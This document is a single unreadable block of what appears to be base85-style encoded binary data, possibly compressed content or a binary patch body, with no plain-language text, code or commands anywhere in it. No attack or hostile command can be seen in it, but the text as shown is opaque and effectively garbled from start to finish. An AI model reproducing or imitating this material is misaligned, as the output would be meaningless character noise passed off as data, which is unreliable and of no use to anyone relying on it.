z2^iYlK3xPfAjo=+JlgBPYWB{Hqg&%=Yd=R;TV>eI89`sW- zf=AOuf4pCqpdG)YPf#6t1Zx<}=nJ6DO)UCE`U=KA0$1qd56B6hx&@Ae?CdDO1p(zsI(* zQ~_TuX%~$T77Jd5@sT#P zh(f~$;KRFD(GfpmypEKLB>kj5Jfa7}gwM*))wj{dHCu$=(@rd=(1A6c;Lu~dvmOp` zm=Jne%Y(f5!K{k^?+9*r;;D-(YiBcAy6*vKc&U_)?Yfu$DM z1Spr9W>fH~7U;XS@u2ysv_AzuCkCg{+2_QGd0J1uA7fY9!f^V7?cRUTU2<&#eDhF` zLjA7AIZ*1$z4^krhgB$&k; z3lklbglK>YL1KOG=t;>>OnWFXkr+uaj6ArjmImqpVXO`g~l^SfS3f9K8}Px`K3kB>+& zaU-QkIUXu+Pq^{eAr)YdrGMZrcAhY@Taw)>1X9^m#H5g~Y_m)8@?{?9I&a+vGGpUT z1~a14yJQ~SHIqARh>nZf@gW2zp1c>SryVGv9d*UzGZ$d&nq+~+1Qr7%9x}2h@ds`Q z45&`P4Ur^Q8cW0-IxV>11DA<&Ccu#bpFCt{;*EV{ksXfBqkw|49Iii2fL(|3o7lx7 zO7Kbsb4Qmqh;}AC$rmYQ%xiL^4hX8`?inWD`98_it=d6vO0RIyf-yB9A6=M@;DUHOIsAOdDF zv*oXdCwSPt(u7wQ=@_M5#*$OupaCvB6l}MWS7}F$3@FU+CTjJWbmAC3X+C0vU0_Jv zOi~ft2LbXgY#6Z6Ao*C(O{dVLFZ3>F^|d6<$s+~-8J;Sm9TAiShJJy5l%3E7I8qlA zDSx8=`kXk2IyVFe%+bGRO1blzfE$5mf;zx*qXWJvEA>CdNnGTi3_SX**s&gVMOA2k ze@-9fqMwJy+qV&PBzVF&6bs+Dfud2x^muP2xLIcj17Fuc5dc%CoV83c(cby^3%jA> zUDG_m9Ag{-O8RofFLnYUcLYkGDgT8RC=%7e~G*ZJS2?uFO|*#nglR1 z*hWBscQh|s1_9yx;Xi`sn0hqukI|k7T-MLwbjU}9<5C8NdpDN4X@thxoRrpJa z_7LaOzX3bUUyZrCG$~R4)af7PV}H~$Hv$Nx#Er$UW5Qz#@@Z$`Uke9<*gZ!;$f?*D zd*IW|O|Tt7T5z%s16Vc_oZD#`$8)^c*&$$j;P*`P^asH~=-~U%q)wn0G99=sqYbUL zW$H3K77KTVh8Dj3{r7shLiQjqTjv^rJBkZ>@vA;31WXfSIM~R~G5m)9kADVIUIf%b zptN;d8O2y>%jCf^`8El`YAI=vlYw*N!Mi5O#ed}IpKM(dA}eiKc24-{)V}9-JiU`X z#FHE%VEqj*K@ZGgD}0ij$A9YSBEa}cHoV0yLI^$dd(A12ej72TNliJ zC}8m!vl(AQ5`PFg$V29wV_m)<31|P8(X(E98M2M#@grGm&^8vBSYQ*NoS0;jaT*rL z4lR$T!Q*S8$>7NtGS^}E1M5KEG9dDG?gKqB^j7bjeDgq$cHh<4Bk$;o*pD>P{7t(~ z{-5r?UQ^&s@1W#s-Fp`_Xef4ep!c*tyB9;-`EOKqPK!}JIX5@h4fvkGMNA(f@Wy1G z;3PXHn4}XNWcLhrU0I;9iDu4YTnDnZ>q!>kPVUpEykqLw;*Yz3ddCD4 z?JHWC-O|FBT?r(rXq=EU>X{kDxO8}poNu*@kuL>5*5h)#50Xd6Sa7nyCP2yK!e`IM z9dUHzH|Ix{vXxlP7T43BxiWA9=-E{{k|M43c0>Ezv%Oh#EmQ#UN|*+Bz8_#zJzY;4XBtMn)8 zmxUKcPj+ANPA~1q5?wENrFH}_Vy7vz+`mYGq*3j(_Q|-G%eDL!J)i24RvvX^mu>Ed z!f$^2^>=?Am5&lJ`Nr1iG02V`au);V8PKF{paZtS1}rksx9=xuAG8&0j6XzxV#fg( zc484A#`maW+gZG!30zMnOn|S9bv(*ABOIYqhqO6@BLrIrIMC-I9}8sKDzb1+LJs-_ ze)r{D&tx;|k%bgrsg2#!>;SspAHIPP@qRb_jD-t3f6>wH9%f3|gvAXu${-z&9`b%P z%J`9Z-)zm-4U|IEB8k;}4`@8}%6<1IUF{JWk23qJ6h9+6VgQ zLJ^AiCvvcu!*{R|k7Z&@YzQrMW#P>t&2=dld;^`)g+(Im@}7cY1jw*I`J5v={cJ3N z;|sk6e2b}yZn-0ifFJgWccTIqDfISvcUlS~+xhHN)Z>NnHTYw{v^7A;0$+3`Wq-K|QV!tJ7n0cRjz0X5m9k&;v;#Na7+0ug_~ZAq1%jyT zcCCJFD&fcYAFnjQAHc!?`zlELa?Ji5KcPQPddSK-wxdnZPr1+3yWgOTpRk*WN6cw2 z@Zd3h>_Hy1p^-Xc1MG^u@e$smM}Q8WL?6a&V0qsh{!0HR5`GQHbp@m87s$ugom56! zK)!S87o(lW7liSb@SD&YxPbP_(SHJ=!i_F#{_q4|KsIRGS(iN8O^}*pNrDv14n0Bk9yf5fmoCL|`cE2Pkak zI@arG@E!Q^+5lw2-_n-U5B&skA_M%Vsp&s0%bc_o*8vZ0Y{I;Nx@IgVNH$Gz6OyqK zze8sNoav|Z$+SH5!!Dky=-sr~CHz;92Fr)zH7*ehryhU<-gQ=`(utgj9j_jr%J_i2 z_)#CxZeq-Z4tXTx!9KKG=BuYX-#%=jn?ex_e`CSrfu1+Tx!SIDGGS+CNkBQLxd zpFP&oSZaz;TVYXi`xE#gBRh{Ds2`()V63AZdmbRB{A1or-$i1)V&27Tm%v9(UiE<9 z^oi(saPUO=%yYMD5cBdCjiaht_)%Bb0lLwz#g6doL(*=@L0=7TY{n0JP!H52_J==@ zl5^uD`$zCGE;7&;BU}0yI`nB^G8bU6-i|%=SA1T?MsiM_>Pcqw$CZUW;E9}vor{oo zRq;KDbG}I%3!JtE+KlhCIc@0wZ7smylLJ^ze8U)nuK6!zpJD%aHe8|I1_D3Q+#3g@)eW|5o`20(kT0gTLN=USIIO@-Hn6zvnS;J?^FVuiyW7(7*Zr zvAae2`k0O_Jj?cInX*C}WIJnRkq0LxCrsuEW)VZ94CP7S&nWQt(#|IeT2yig5 zV=>0=#dp8NP8TM+Obq)4DYjv9$3lk*sTcpEVLD}UepidTfB*Y`JsH|pkdMjYWle^l z)z=3S`=?AMqsVdZ-hBrrSs*egW?{=$eAyk)f@ZUZET#~}FomuKmv_(G)Wi015L92~ zymRL_T`L$N8NL$_cFHjMyHF;T)xN#pnK?f8Fjd5Ig5i{~ITKk@g5)HFBX*!JSm3Y_ zdg7fxFKWBJ^YbrWBq1Mn)|q%R;iNvH$Amv8@dRZ)y!_zD7zso%2_^6f3=3p-jk2&} zClhsZL5utAH?GR=1U%xABK!%tkej}PAg2R^;`d04H5PvM2~D6`^y6#iFT`ZJR)e+e z|71zEKq-u%1U!c+uKCNJP3j9j`Te&)?9T+6S)?%W|IdGZwtuo%<2`H~@q1)^EB~fF zU|V3HYcYn8lL)$DHwUP-D~TW_3m8w>RgMi_ym+No4*X$yOx*E*cB|gK8*(56i3J3c zd+G;YVnIa;TB#el^UG@>mZgO0aFm5i1k@g>P4g~E>Vvk=qMOHSV*wKHwPGPAaPKg| zS9n(-3oG93N*%Ib`B}b2-C{G|p~fo-$Y)W5jx3;V-~M57U3Otnhg8-;ge{AF3EJ40 z8xucm-}VA$2gXXkyi@~ND{YKL8g)gWja}3PiqILKr;gd-a`VOw^*;*S zE028I6E?w@?yIk*9Z{EIr{~s(z64)jp~#I0tcCcQ(2shdJ@zSd$6mrH@M(z-T_|w{ zK0AVtwIURP1g_AR53i&?`JS_Hv>TfsPWpH+!?JT^?t?h^1n*$vBR$ah*T4SZejs;< zk(Ytz-`4XHnVH&jpP%UHsV2tEdZFVgq% zK4bhZ+c~n**I^@U4Q=`gg3t6ZjFs@fM&kr**dlITp-cE)^p)5MxyVC~d+KW$N1@F) zdsjE$;^q{(1`qgQPXb&!J8=^Po$)K|NxMv&(WlVY=J<=ehx)J>0SSI?L-LPH>eI0u zeKU3sdf{84)6ggFL&8IDW-TM z`0;n&-SYe+`n0%dM&Re)|Nf8kF1vJ9Kh!IMK-wlY=lAo^jFGY2LPz=@e1@kyVyuWA zxY@R_JvIOqKV{qun?yeHQ-=NN*N}DV>6X40{;OXT6T!4F9(d3|R%D^wR{IVOarBj6 z_{UB^B&0rLM=t?N*ISVrLaIiUbH+Hxs~p}r08c-S4@Hpoz57u5GhnbgHi=*OGB;h& zpS~NLVqfNh_!jLJ-^_Lze8abxpD@?R_laWz>WMLmc_cRqc(>=(tJgda0hb#dyg!vO z?N^Oe8Ej*>GUri0Q3nLDneXzBblUk(Ki!TSV`|IjfjxltL1*OAZjd)^=aUWwdr_AD zsMC_7F1diN>$CI|^sBUW#t-Hd@S~5xMo=S&NE>JF2`qa5^Pm6l{Ec_$GB3x*-)r82 zY>ZD-9M?fFKKNyusjp)W$SaVrCA85iq((XgOp9%K>gJ;Q0c6ET8QbX7s5izaZVd50 zVEQIm)HkEAeiQPI{WJV1==(3`uy18vvrpzkU2&Cw^ea)Cb<$u*XLIC6AgeAL$5l`& zD|~>Tuk)lty~pneiYHo(z4CXWgg3-C7Ffdqn*ik+M%sXUng#m7CI;=GmjifQwT}4H zxUGTBpzw(U&>CDikTsYUkZr9QceN{W|C$1R+N7cNmwuYKzt#}0fFmEpVfW%ueQZ+92B*rLHmlXyjyp!$gpYCX*p1 zFD$zF@u(X+FZfz3@48_!$>f>|GdoR~bh2P$=M#Y_CQ@GHYcfQzD<>E%48Ujd&7y}1 zFOwf0mHWfN8U@QF3pmj8q*c6fQi31GFCIxFK*GYFqwnnNNKk+Y)J^gJMu7%DHscA{ zQ1{^#*65Rs;tcrZB7;TFojbp3*QCCR?O+lC+z75+zN|<3Gy#r@ZBJ`>-Y5_A>lFZ* zijWnj7@`LmoU5E25Xgq@YA9K zJc|W(`*9>O5q`fLi?5u#0?*=^#VX}E7`7u=`cQ!|9#LZV7;=Ry@hA|BLB0sR^GNTP zlWm9nirIC4!YE9LTjHF2etmv}AfJEu6}GT%$p+5TA|8406^^!@%2=$UFG25zn)I`X zVHajBaDx*t1g8jKu%q_7@4sDK_2R94aEIMm*qKFbEOHdE5+4GS1bBJWmiCr`b{2pv zrX_;g9rd|Zf7huVr(vtGf;264&b#COR9&DKiCwOHT9kl;9O%iSgFb-;2@56f+?AZz zjv%8yNF{pcL*5y^Kg)L2HFU5O`Vas__p4X0xKD_M1rVhkMT12WJiP#yAFu$+aRzzt zQy$SIIQm+PB;dK}kU}enRNfx-Y3HTxdbxB`I(18UfHpG8ekn@o-7JSGBoP(b_r@cu$ z=dl|Uzo4AD!o$)Is4-3fGt3S9w!Gd0TCUDSKD?j)mIdlCZEX=;YuN0fAt1qrXWTx7 zox6yKn5(WrCm`@?0?Q8`D0rmt#vdDzzYz2xA0GJDuK1=-T$2y3+fAtx+HBNe@J4Dl z@t5%nQzi{(yCeb*1UvYM4~ug8s@Q21;}dnu0D3@$zlVX?few9cLa=j*{tdXS8|Wh& zAGmSqh{b)2?~En&3M91}Wd!3Qcw&AqN4|IP%WBxDm*%C-@O01&%gpp7Je@ z{OCg&ZfQT@lSk0#{rlLBNf3iJ$_Fgy2k~$G6q(VTwoY4Roa0CPWv4s3LMs#cl8^`A z=189i&zl-UZiv5qTw_7=puk!6w~$>0(v?l2$w4;yS$3!q-1_-{@A%_5=$C=ksF!%h zBy$JmFzn#v<`Cnj)N#L+deYBO#?7awN4^@5eRy{tLFxFQQ2IkBr1ghhJnGy^pq=z< zt`&$Y_gK14nzQf~ah(&04^wL=c$rcWDD!*y(1FK+>0b#n;yctizJa}|d-_3s1S9cv z?27HUsrOp13}7BYJAw{<<717N*p45MD#s2$cK36`DsG6=&xQ{MF7!MmsGt5#H;I@p z;J1EE+BX&HGs^fbpJhy8K1(~t&tuGh$6Mt;T>P*6gM=>3T_X6us^5+N#7LbrMB5>lAAJ*ZV#WyONdz1TrsA{AX9eMNd=L9!N9J0{|MSnkxJ~;Vsj>|) z(DpmkAzl*s?jsm$bwiFFuh@}!I(-j3=_@Z@j1Tp2V+3?;MqOgZ2rkDiR%D7kn6*HR zA*>M?*XW}yL&rbmD4tdiS-DW$+#I#uxZ)(#8U(ZGlaI^0Y1dH>4k(?dpC$Cr-V2K6{s!g7!ju;d26%JhuJe zx*iqM1mm58l$vkp`E9+QO*cgMuWv2RUejGlJ&|@s*V}5r@AU-RTLmbeKZ?QRr9Q-Y zK`_i3>p1u^dS!*IuoECGrkG4J@#O9+!2%xPV?x8Eo{2e=4|Y?s5GS9>4HFT(Bm!Ve zu&z1)1wM;feKpOohIwpt@L7zoc;m~tOvqRSvODTq z1(M(sK`T+TyvZReZFmjeVNSx0jvZikT7k&RloL<_98AIqwt1qc$sH3(Uh0m0kdeU1 z77N&o#mghT7nDc$@BMk-iwQm;#Daz&{zTA;yYnn=Sh#r6i-5KzTIO$+)zU)1^p=58 zBz&3R27zP;)9^3p%ZCoI4f0UNB%6e6OwM_yDHC|?#AN>bWj-1eFn-KmfjokF1mmzf z!8`&8**=0!e90c0Q3vP5CqAkayGN)C^k)J1r|g972uAP-s&~`iF-NIyspqth2`T2J z9?^vz6zu9`Q4~9>V#nz7=P%tCu&abN9(qI{kPEyB5Jk`e9a&7_a~!b?zDTf!KqC4) z)Z&If9c?z-qH9TTz!K1--r1E&AO<@aPGu}+34rtJ1{RYnAPFYe#%0G>?9Pp^IzxwG z;?B9YQI2U-}T3&A&FxH;pts6G%M;G-DP$HoG=`k?X&T**4FQRG~i(%o0V&A>!f z1o2>%e6R(Hwp){EXM5%`P5R)h%L>z-K!b51`rj-_0b>U!W5g4+8QMRA2z)blMpQ1Nbs+kQ+Dz z0;ofePi1TY7FlWM1aZ0Hz{loDAtfjH#S7o0;ZfH&dQ}L!y$DLv&e;h@|AW8Xycv&A z5@_d!4!gnb-{&J0ylR6l3SV|W2ibXd9`(QvIgpKUI(Bl$WAL;g+8<*)@17(WM1Pe( z+A}cdn)86zVa22M5u`w`OzKa{0! zP?qPbaKXYCXwq$NY04@Ca z&;d%ydCdiVLaXVNz0*Scu!ns^;|=^t*bh1ICGr@Hs6YBpKA55+r3`cj-1c?^Ln-;R z1aaBHf0I(Nw=$jInLq5ss}G*L@8gKS(l_F>7cX2~yxNYB64GD4d2`=&z<9|GI&@@* z?isyvopFI(`1HZiMl~lE4c^@iAJ6L)*#p9dCK1Bta%e z%xLIxq84F2qragfzJ85;{OT0-hm0@SBIcFhD-gy%kw0%P({Hj1H3H}nB*t&jx4UI>a!)C<0P3nS z?1EvkGo$<{Yqo}kOM(Uo-b~Q=F)_b&^OhHSoaX|=tOg9{nP=`S-@#-D0ZKKBE_jwk zG7WH5X4`6V?j5e0WD^+i9dGTP;gKE!sZ2hZz!L~b+YnTQaJ(cQ4)D>xIF*eF1i$g_ z*o&7gc%si_J|>|GNQx$lh+ppf>P0Y*`tl`n7O4arSR69hW|tH`aY>619=GB#U;+Wu zGeIeKyWoG+GrN`$03EHbjx9w_wFSags3|mfhLFwJ9m7I}j0^~}>xf0xciJ6=omc=6 z03)%`VgZ1kVlQ@3u@GRVFbi=K6Z~fi^0J_}Z%WsF>FGtL+6A&zp$H}T|C#WJt{#=7IILF-7L}fM9_e` zPVNB5{}{EvRv{pOM?6;eyCAYF!d zEx$XP6bYx1?k|80d(rl3p9E>xL4(a6s~rym}Ktf$;unh}t>H}TyHv&l17dKky-|)pqVKbj&0Del@4mg+AC8#TX#0MS(xRIM3V|?_C zc0^ERdpkY|hwZTiPZ#i73HlED80ZpEAP@>KY(yR5^8`B?llTY^aQGa%-M}Moe(_=i z-RRTF$A;`sLoeD1H&}QtDS;*Gg5VOtJA6FUB9InA3i<%>UcP+jb|1Tqd1p02l(;dt ztX{B4^9d}}*>G@9*|HRNj#BXBhn}=^{0Tq1sCQXoBl@_Ir^6EpvZ60K0uKzjfzP;~ zW!M29AfH`=_@XK`RH-7S9+8jFGN#bJfBNZ1;VW<}8vLVvp+z6h%`JS5F@_z)^a03$ zr0{&HuPzf9!`}Gla=TVRMkk%l#ZCZ(wB298QiTD9$b>HeDSosI9`$8BqkS>Hq0fK* z^S^$w<(UFo*qs~3v~>b-*c!dT<;D`e_weBZ%?WPloL$?Iu+t^YH-N+Lv^D$+ThZUs z{{QFS{}DgFF#p8!30^(H7*B%N_j;Ovc_K2g~~`)e%!F7y=Fg!KG>D^iqB$SZkUrt9gG~( z`qIZRHZoUZ=Oz6FI2`eHY{T4;JpA*;bG^S(PXnMoJII-jP#4&XIq(bJ$n<;2)qgVH zVG+g!=Kk}(Io3KX60lK*K7*9kow>Wy0cgDd06d6A<<%k!*{%k^VNBzJIk2tMkSfm;exYL2^jp^xNT_+E?re<)C*d;*!C->QuF zPriDtg^C^nXO8wl?;_H=K@$$qVZH_5lwmpRu4D~CfmZ!_QKm%<3l#^VG}&Z9$0V3Z zVu0~TZrssl62!#ZW3$*Wh0X;jlRqXoOmLVeGHHbdzZBm-qe*={0veAHLz77&Ul3)I z!=jAE6N$wfvheGJT}+zrJtkJ%<;`~hvY0>~CiTWQ#CXeXIgqw-E z7c`BLd9M1Cc31^7F2g?2&Qv0KtXYvOVX-l`CCJ7iGu~aMNB4HLa8-RGF99&H6V|m? z+P8y41c-=YDe260OFj#V-97DqP;ikz43AThs6!SJ_|RPik(ju$1Atw5$U>dv&O#=* z1W9k))P!1(7{-D>f}cI7+b)Tws`mMJqJX;{g%aupiC=uHreuLsrObO_|uly8A$tL zkp~t5M&zJu0X7JmPVfU1H4`A8uP{oA*Hbi1SNL!ZD6yxEEOyJW^M#|c{Oc4dL)osrb1 z7I)ujamUBFs869f$ViZg1@Pm?d=%)3f{WT=qk49qf=<#0ALX%Ub|znyOy7U^ov*`x z^{BAq;YJFJLTDgA??!VUDO=N42pYM+RK3!d5d6jmoJZ}1>x@;Izs9ylz*9U|1=u}P zaaY+DUyWUL_$`ZKd>h+wW5ND3qDDPq7kua3Id;{u>t63Pkzh#|KH#DwzH)dNL7}Z* z3DW3w6Ds4z3h!-=ML9R2LO^Uw9pHc1lzJx-e1PvT1rENc+X(hscCbYo!nV=R5CEso z+S3>5&^dxEu@ekEkRP98agIHZk((*p*rV+N!!Pusw+b5vpP@wfDD{t>@J9laspFL^ zjAs#aKwbLI*ophhyTquw98c*(Ug%?d@F1VM!DhTam4qz_B#_`ka3c7qpDjTo?2Av5 zPY@1YB*4jyhO|Z4;j-j2N!J0kpuezRtM3Aa9f&j0H0-CX?`DeCg7L;GRLjYOTENqX_^$3`W+w$ z2ro-I$OLWVXB@k!@tm74*o(OlK0^SEo6N{cU&`F>+i$WhU$aZXhrvab2+qIsD^2Lj;lb-o2*4Ad zW9;XBiug%O=sB@aEe;zrcS`$I0R)Myuv4GcQ=|ww{P0ceNnZmFwm~=MP1uU|&5=F< zpM3W&9a|0N?Yf)hT-P3G@Th5B)jq0$gOIkKpx9o|iZfyt{a%a>hCL=_==@ z@g>hKqaWloG2Fc19l~#PB|d(pLwKM zLzGjhk&`m!hR%PP1^OQKzfAOvxc?OvQ12FlY)Bgulo)t(5Mq+%4)Aj+lpSpzPl0dM z%{{jMaHOLj*`sG|oUVu8+R+Xhef*L~x-Tg(dH$9HliE>95R*XzdK&u|FSLo~nci#t zMo&~}9-w#H=}`;i9ccZv#jE^M&mu@uB^*C|m7tZQaKT}nvgg*KBT-l523gm=&| z8DfIeqa_9O2M<`@yT>G(;0+Ud7LU-*A1s@_l7fzUEDyfyx{RGidLNl4L`>$Phdc?* zgo>Akdts>H0zn2Q>OB6&B$Qy+Pye{>Ni2aC-akZuH1RErFOVv7ISVP{I$;}x0Y-ml z2k66&hS^tikid!S!WqDk z7mv*YiJgOs>aheO-yLdkai|@l`fYvC1o$u>kKjY}F|`Ij>+AK~1Q_hd>OkC14T7?os@e;1hDjFFr&7l55Us z=kS0R!C5Z~WuFMV#0?4jC>QP63w>gt82VFgyD1+#5wz$NqF9_hGtX1Ny!H{f!#BJj zBY>p#j>-gmuWF$hJ8=X>T`7NG@Al0F+Ij8zAP5^KQlXgBSD`PD1)?wV6Ko|o%OaMA zwcoiYaIV7^dh}kp@vbg>_&|Y7>|mdfoE&38i9Fgtq{UhBI?>?K@%Z>t?C{Y}G%e)t zhi&=Fw%RZLmv*GC?1QpB{5f~q7}#Zv3(0@{L?t9*R0z5uE53}~2pkY>#KtV*spo26 zdsEm0f8r(*$N0sUvd1!|4atu{MEDIs0(=kNFJJQEhj`5Zwg{PGM<@9##_>CL&tqe7 z`UDO??0NqD1^pt(pD_3sfjw@lP`?CJfX5fuk?8=we3>yOf?Rw#J3dsyJ9!yn2=?vPgI)wYusZ=0^u`w02_E6sKq6tm;c}27e~@+Ti$){Qum?7xuSOnZ`(3-+u`_l+ zqWBZc(3#*3AIiFSk0(gf@2TjKCSlkI{i%1#s2glcFc-b45B*;&(cXFNINN;IQM7mb zKkA8BJ1~bK;D>C;4-RnDJ9vq^iZS$tX_zs*0unE!RrCo<;Agg4Eg(RKe-Lyfz{l8+ zOvs6h*oAhDZ{ZL0r?l(PmGObT^PGd(*cMv?OS@n^A^6CyKmv{gbHRiD|IgliFz9U@ z>7pKrk|>eNqGZdmHr(_7f6=-3?0UVHt(+qz@xD(L3cwd;IHZET$I~>xB;7D0b7*lLOx2t*@dZH`ugcj#hn-K9ik~ zZ5-n!0Uq46R$uCf6Wsj6_yr%khQl02UHPb+`lVO9Bi;DWN9q5KxgUIxcZsL})jqz? z8E@+QrQr99p;d=F0XM!_8K!d3%X%THF7n&w!E;bAE6#>#L~CLrb-5ATXZ`|lbX6i$ z^^@}vFOv*pvc!Mm(7HvmnHarRN;2tH7(LIq@+;@&=SBlRPXjj&%Acpdo6=`Apxc^0 z_FVru9ow0rzg^Nf#(p8{CN$Go*LkN5vhR-}3C@_(z7pTaq`D3#&YwP z(=zk0i}-;q9)A1O#W!Evy7=^iJWd)1W&9ACl-!CFE@`>`Bx`~fQuaCTsti6T3+;k? z8-tgGVP>s8j34JMKngFim;jpa*co7=;f}Tm&q;s^?l=j`^@7D>tovJ2J?mFY!BdZ;{E|!Z{0acVP zuF%O^;7lYe?du(nt}84R;i|}-DLzTpff-nO_Wm=AW|LFSwYZZz8|~z;_(T#cCVt8X zE}ZdF=S;L8nrsJ#gKy=#N(|3|K`#?ycsU4jRj}wj6K5Ldq)ER;6u4TD@4a#?6c@1yMAQfjyQIniJtC8)_eI%y@g2J6@>~f9G`cypz|&+w$1^dP1Nq6 zr|2p=PTkZo4D8SH!+&{$57d;4g=hTYlLJ-zwY%iKI4r*UDvyRH-Qu2%{lOOR8l6Xt z=Usn`-U|PsJ8~@TA!3{fow(21$GgCSD;IPjup4}qlcx0YQtfucW9_hI{{g)fxh*!; z6GyuG6Q-KlIh*=SU9v~cdOP51#|cscm?%494r05$iJh4fk>V4OLv}WH{Z0gkOPGS06ZrUhe7v4cJ1qfJ!+XpYU4N{J6(eX z*ZM5Vi=Fldi8y@(aHEs1JC3Dx1bI!tk9p4_+m@ye8=a6#eUc5YY-8G*oz-;I@=YCA z0fl~>uqd8>I9%v~o;apBaEq(J3|C~Q2lhjkcCMH6JrJK|_jL8+bew*egR>o!xtSb0 zrxSWW1H0`^P3VF?#}1sqINH`)elX+AHkX_^ch!luAN+1maggc% z*_rk?aCD(Qq^S$L=DW=gk6pL=2kCUL|9Jm>j&}9Z?;rN$4VdZE_Ba~TD4?%Se~%Tm zK`1FKX4w}o1izMsS3l>af`PSwD1ieY~UjpGETW z!cT;LUmKUB{>5`1L3V6!=mLL4kpaCq-)P{G8n|&#K2k+D08gTU%Q`6?+Ht4$B>4Xk z%NPJ12IiS~8>mO#8X%(>gSEq?rh-|)Qr1LC`O;s?8q1!JgYkvmr(Ap+#(d-dkJ%mh z)u)*Ve~@=-{dXLaALfzRr2p_!Ca!r>%)ZBmwG`N+#dESf-b7k%d8hJY%u9 zLA00kM>`>Z%6rCgw!q=_LXojS5` zAphu?3o}cDiyt^dHHA3QYEh+**-31}qDxT6wJ?r@&JwX4pzLq?D<^22c2DQy0OEFB zhWkM77an_UZJO@gmXSAqtl;T5O_jA9G)vTrxIl`ZVr2c z?O<&A@zjXM9xT8ts_?I4K*2#qa_9+IYm$sLj7ogd)wNv|Av_wVODQ?Vt%g5=MC{_oK1`XPgzUT#>} zG2!t&jtb?4k-IKjGmwxzPM`d%&cwMar~~rTzq7v9t{ZK=0)jaPML8N$2X1y))L~0z zaUHl`__aMMZKxU8BdLR$rq{&2UiKDab*?DWSc+ z^UmAZ0hLGVGwulE&{2~kU+?B(H@$G4I&zlAzWaEo#%=vA#|VC=Uf~}5;}m@>@7?o( z4(*2XP0QBF3_1ZCXFH!V! zd2*SjN)@aB&7-CO?|OH0kTtz`|P>Uw)U;8H@)X%w%9!j=D(Z)Cs=WKAkm8 z$E7z6)a|4M16Qi7j><`bd5`|X&Axdhhj|2j!69(kajt2v?7ivY*U>Ow)vr8bp0Unu zT0!5UeHr7}H{1sSno9znCoJrg9MabL_zZ3)GT{f@l*7*!=&P@dQ8owI!R`3$^Urbv zzIRIYeB?pNL$Bz(q_ z^>MvZ{7(9zuZjm72L6_J<8l(yv;N4f zPhu7JAeGSh=uX|Nc-A^u%09_yL%QmDOB!Yd@e!}9Jd^)hosapTo71%4ikllc|2!JF zaZvvA)b&4vq%)YFGGhXAn)*K}MW=0|G7}-P&Owe$GfJG9%=83n1|?_H(xpsYC56*5 z>*eqAmG1b6;xNkODj&@GKI^wHKh18*d>q(L$;_SNK*~ZbXde9FW#}1J|D5+rJ-Bu8 zWnkmW%cB>W7^cOWZ)eSz39@&l1#Va~H6>R*U^w%pVI9U71K(SoOrmV~4$fMBk!~W9_gW4&_&; z=V+7TQK4lHR3>QZWTx^Z zp))6?6z7L_*&T$^PB|vCY$$z#9{r5{&+bBXNT+r+wqvj<6GcDbsZvXLR0g zP>-mW0t2z=bRKQ1_j3ggM`O6@ztr)qLQKjn;GC5HO17M1&BX&p2|d8$Uyjm;7&cr5 zu)je#yL7MAC@cJh*u=_QavTa8##UrH(q4OijN9DsLw2 zITFeNQjz>D(v?o7oe9BDw-#d_BPWSArOlQTJc~j)v`BH?J5<_P#PPu?(qW;0hD7P= zDjxP_7M8apvMyJPN=E1M%C zuCcY&$zlULfu$ehQDoSebT`~M1-z~VZ+PUe@kluRsuT5dH@n%zJ#LOidLRd9n;R-4 zE4&<#^f1mEZHRoFA!J5_zGn9mddd%ziFIEhBIoPH?H8-ubq@@_=sD zBZoVi2FJm~{+i$JtEL|48XOorJu2+m=c8aBolmZ=e&?{h+UqHuhHbdEb?_7DVnU~P zrZ`#kH|BL5XWEq~38ZVoBRBofpY})}Q+DvqS$db7*Jg06_uPiQ1vs^b#xW)L=N)fKd60rPwBULN4@@sGtdoV z@08T%ac0tkcHfTNZo5Uu&%zHqf@4eCKO1+JcK2>GWd8r)%Z&e-U)R$~=~MK>`hI$+ zH+_tG0$%%OQ9mu<>4mo4uFIAFab%Ib^>UnfbiKkJrFUo4iKFiUnKI7Dc?0uHo;g0( zy1owL--4-AKGZ*ht#h)SCqB?Pn`6>$&Nmu(QVrZVD4$ewH|4I>z@xg*8E7Fn?&PjS z{EwO$fjJgt0)tJ1ZB2%jN$0H$LNk$+FW&jC8XhR8h#y>N_gA?ipNU6q2$x&vrxg4#M_!3^@zuNen8)WA7k~L%9)ZmUhC7^;dDU57 zsdaJxwd^vl7RE-aNSyC18*YNA$S8_05En%I~Ou>%V#3r4z| z!R^?7%3c;eGA!08D9ypK0B;{TEdd-Sig)G=oZTJntedpSKc+Kf>pTN+P^&v6P}y{K z0KHy-*}_5ruM3YQ%K#L@xwz~+7_a1ZS2%KocMBX}nf6XF^4bAchPB8&Sl5EonxkEY ziR=L2JEyHZ`v-EZNRe#GCy5iZc4f|cDuelU7V{in!bqvqIPE0bpJ@l@Guh#&&hb;Y zvq1PE=}$il4ux~X9b3-KXR<30{KM?hyezbA98imT3Ul!ox!A-#bzyfiibfu2>bjn_4#8OI@pJtAN4ZYS!}`|j^W9o^(S{T5=uYe zfwo#Pfv4wkG^4W%#q=!3cT(fYU-Zmb(H~OEE~8g^*O+$uZ5BHofA;cwi^2~-{J0)B zWPfk};jMC(>?kFAUdBV1!z&yehqk%sgW-~~b~!X;iZ{=*-t@2dLf$}RT5DTh9Nc~@mQA(lmL0j-dr&xEtdXA{p9zHUAKK+xKej%L~7${RkP!~Be8ZceNy_i%cyP=#Szmsen@x5$-c>?A6WF=2=`>q#Jlc4 z`|Q)&-9*oJDeCX+unz;(2XfAQmz|lu!0zk3KDxm{WbCoPwz#)YX9LCyc;pE!>nUk8 zW(TA)oCO}6B&)o!P5OaX=pA!!#xamrBgBbfq5i=KAJ!rs&9bGya&C6{L%M^f&%qhk zM%@mVSEFnC<4p9*1$pI|%pFU+m)?E%Z{--pV>>6_FX!qX|M)NEq-5Je7Y%XsGml`q zc5rfV&WNj1W4Rq>Pd$~dS7&mv?M6*INWa0+Gof+zO*8Sw2@OB`e7v&iK`R~{P4^Us ze5sDEwT7(U1$_8c&+LSa+f}Cy=docUJjf&P@7HKjwlx$C!4s(W2w7haajx z(~i1sJUP&>i}?O~uaoea2?NI97`{h$jT0{Ax6l`bbFs8a$m{nw7uFv-T)EJwTf zJ9=c&*LWoY2feng@8^6>W_D3#Cq&NLg`hsrcVk9hq|f&rOl85e&2BQLXob<+=Eqyw zXeq2=PGCDZzXP=4T}tfKc?i>xNvq_g+)Dfy&r0aYBYP)h&0&ISp@)Ty;ud>yVvjC4 z+Gs7S!q816O!^+f^o4WY=iS6_H1KmYaO0r-Ioi7^d#MJl>c|wT4sUn96w&{bj0kM# zAeX_k9#hF8!=T=yTqfjkptRhr9r2~#uQKA}Y~w?y@hNG14R%d_n_ZNSZ{mFX=Igvy 